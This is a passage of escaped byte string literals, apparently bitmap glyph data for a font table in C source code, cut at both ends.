\"\\377@@@@@@@@`\\271\\217\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\377\\200\\200\\200\\200\\200\\200\\200\"\n  \"\\200\\200@s\\36\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200@@`   `@@\\200\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\7\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\34\\60@@\\300\\200\\200\\200\\300\"\n  \"@` \\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0  \\340      `@\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\377\\200\\200\\200\\200\\200\\200\\300@\"\n  \"`\\60\\34\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0   \\340         \\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377     \\374\\0\\0\\0\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\377\\200\\200\\200\\200\\200\\201\\200\"\n  \"\\200\\200\\200\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0   \\340          \\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377     \\374\\0\\0\\0\\0\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\377\\200\\200\\200\\200\\200\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300@`   `@@\\200\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\7\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\34\\60`@\\300\\200\\200\\201\\201\"\n  \"\\201\\301A\\177\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0  \\340   \\0\\0\\0   \\340  \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377@@@@@@@@@\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\377\\200\\200\\200\\0\\0\\0\\200\"\n  \"\\200\\200\\377\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0     \\340     \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\377\\200\\200\"\n  \"\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0      \\340    \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37p@\\200\\200\\200\\200\\300@\"\n  \"p\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0   \\340   \\0\\0\\0\\0 \\240\\340   \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377@@  pX\\204\\6\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\377\\200\\200\\200\\0\\0\\0\\1\"\n  \"\\7<\\340\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0    \\340    \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\377\\200\\200\\200\\200\\200\"\n  \"\\200\\200\\200\\200\\376\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0  \\340 \\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340 \\340  \\0\\0\\0\\0\\0\\0\\0\\377\\0\"\n  \"\\0\\3\\14p\\200\\0\\200p\\14\\3\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\200\\200\\377\\200\\200\\200\\200\\0\\1\\6\\1\\0\"\n  \"\\0\\200\\200\\200\\377\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0   \\340`\\300\\0\\0\\0\\0\\0    \\340  \\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\"\n  \"\\0\\0\\3\\4\\30`\\200\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\377\\200\\200\\200\\200\\0\\0\\1\\6\"\n  \"\\30`\\300\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300@     @\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\7\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\34\\60`@\\200\\200\\200\\200\\200\"\n  \"@`\\60\\34\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0   \\340      `@@\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377\\200\\200\\200\\200\\200\\200\\300@@\\61\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\377\\200\\200\\200\\200\\200\\200\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300@`   `@\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\7\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\34\\60 `\\300\\200\\200\\200\\300\"\n  \"` \\60\\34\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\6\\2\\3\\2\\2\\6\\4\\4\\4\\6\\2\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0   \\340      `@@\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377@@@@@\\300\\300  \\31\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\377\\200\\200\\200\\0\\0\\0\\1\"\n  \"\\3\\6\\34p\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300@`   `@\\200\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\37\\60 `@@\\300\\200\\200\\1\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\60`@\\300\\200\\200\\200\\300\"\n  \"Ac>\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\340      \\340      \\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\377\\200\\200\"\n  \"\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0  \\340    \\0\\0\\0    \\340  \\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\70`@\\300\\200\\200\\200\\300\"\n  \"@`\\70\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0  `\\340   \\0\\0\\0\\0\\0   \\340`  \\0\\0\\0\\0\\0\\0\\0\\0\\3\"\n  \"\\36\\360\\200\\0\\0\\0\\0\\0\\200\\360\\36\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\16p\\300p\\16\"\n  \"\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0 \\340    \\0\\0\\0\\0\\0    \\340 \\0\\0\\0\\0\\0\\0\\0\\0\\7\\374\"\n  \"\\0\\0\\0\\340\\34\\4\\34\\340\\0\\0\\0\\374\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\370\\300>\\3\\0\\0\\0\\3\"\n  \">\\300\\370\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0 `\\340  \\0\\0\\0\\0\\0  \\340` \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\3\\4\\30\\260\\340\\260\\30\\4\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\260\\214\\206\\1\\0\\0\\0\\1\"\n  \"\\206\\214\\260\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0 `\\340\\240 \\0\\0\\0\\0\\0 \\240\\340` \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\3\\6\\30p\\300p\\30\\6\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\377\\200\\200\"\n  \"\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\340        \\240\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\7\\0\\0\\0\\300`\\60\\34\\6\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\230\\216\\203\\201\\200\\200\\200\"\n  \"\\200\\200\\200\\376\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\20\\20\\20\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\10\\10\\10\\10\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\14x\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\1\\7<\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\34\"\n  \"p\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\6\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\20\\20\\20\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\10\\10\\10\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\60\\30\\60\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\14\\7\\1\\0\\0\\0\\0\\0\\1\\7\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0                   \\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\4\\14\\30\\60`@\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\10\\10\\14\\4\\4\\4\\14\\10\\70\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0|\\306\\202\\203\\201\\201\\201\\201\\301A\"\n  \"c\\377\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\20\\20\\20\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\"\n  \"`\\30\\10\\14\\4\\4\\4\\4\\14\\10\\30p\\300\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\377\\30`@\\300\\200\\200\\200\\200\"\n  \"\\300@`\\70\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\"\n  \"p\\30\\10\\14\\4\\4\\4\\14\\10\\10\\30|\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\70`@\\300\\200\\200\\200\\300\"\n  \"@@ \\60\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\20\\20\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300p\"\n  \"\\30\\10\\14\\4\\4\\4\\4\\14\\10\\30`\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\70`@\\300\\200\\200\\200\\200\\300\"\n  \"@`\\30\\377\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300p\"\n  \"\\30\\10\\14\\4\\4\\4\\4\\14\\10\\30p\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\71aA\\301\\201\\201\\201\\201\\201\"\n  \"\\301Aa!\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\60\\20\\20\\20\\20  \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\"\n  \"\\4\\4\\4\\377\\4\\4\\4\\4\\4\\4\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\377\\200\\200\\200\\200\"\n  \"\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300p\"\n  \"\\30\\10\\14\\4\\4\\4\\4\\14\\10\\30`\\374\\4\\4\\4\\0\\0\\0\\0\\0\\0\\0\\17\\70`@\\300\\200\\200\\200\\200\\300\"\n  \"@`\\30\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0      \\60\\20\\34\\7\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\20\\20\\20\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377`\\30\\10\\14\\4\\4\\14\\10\\70\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\377\\200\\200\\0\\0\\0\\0\\0\"\n  \"\\200\\200\\377\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0pp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\4\\4\\4\\4\\4\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\377\\200\\200\"\n  \"\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0pp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\4\\4\\4\\4\\4\\4\\4\\4\\4\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0      \\60\\20\\34\\7\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\20\\20\\20\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\377\\0\\0\\200\\300d\\64\\34\\14\\4\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\377\\1\\1\\3\\6\\14\\30\"\n  \"\\260\\340\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\20\\20\\20\\20\\20\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\377\\200\\200\"\n  \"\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\4\\374\\60\"\n  \"\\10\\4\\4\\14\\30\\360\\60\\10\\4\\4\\14\\30\\360\\0\\0\\0\\0\\0\\0\\0\\200\\200\\377\\200\\200\\0\\0\\0\\0\\377\\200\\200\"\n  \"\\0\\0\\0\\0\\377\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\4\"\n  \"\\374`\\30\\10\\14\\4\\4\\14\\10\\70\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\377\\200\\200\\0\\0\\0\\0\\0\"\n  \"\\200\\200\\377\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300p\"\n  \"\\30\\10\\14\\4\\4\\4\\4\\4\\14\\10\\30p\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\70`@\\300\\200\\200\\200\\200\\200\"\n  \"\\300@`\\70\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\10\\10\\370\"\n  \"`\\30\\10\\14\\4\\4\\4\\4\\14\\10\\30p\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\30`@\\300\\200\\200\\200\\200\"\n  \"\\300@`\\70\\17\\0\\0\\0\\0\\0\\0\\0   \\77    \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300p\"\n  \"\\30\\10\\14\\4\\4\\4\\4\\14\\10\\30p\\370\\10\\10\\10\\0\\0\\0\\0\\0\\0\\0\\17\\70`@\\300\\200\\200\\200\\200\\300\"\n  \"@`\\70\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0    \\77   \\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\4\\4\\4\\374`\\20\\30\\10\\14\\4\\4\\4\\14\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\377\\200\\200\\200\\200\"\n  \"\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"p\\330\\210\\214\\4\\4\\4\\14\\10\\30<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370`@@\\301\\201\\201\\201\\303\"\n  \"Bf<\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\4\"\n  \"\\4\\377\\4\\4\\4\\4\\4\\4\\4\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77`\\300\\200\\200\\200\\200\"\n  \"\\300@` \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\4\\4\"\n  \"\\374\\0\\0\\0\\0\\0\\0\\4\\4\\4\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77`\\300\\200\\200\\200\\200\\300\"\n  \"@\\60\\377\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\4\\4\\14\"\n  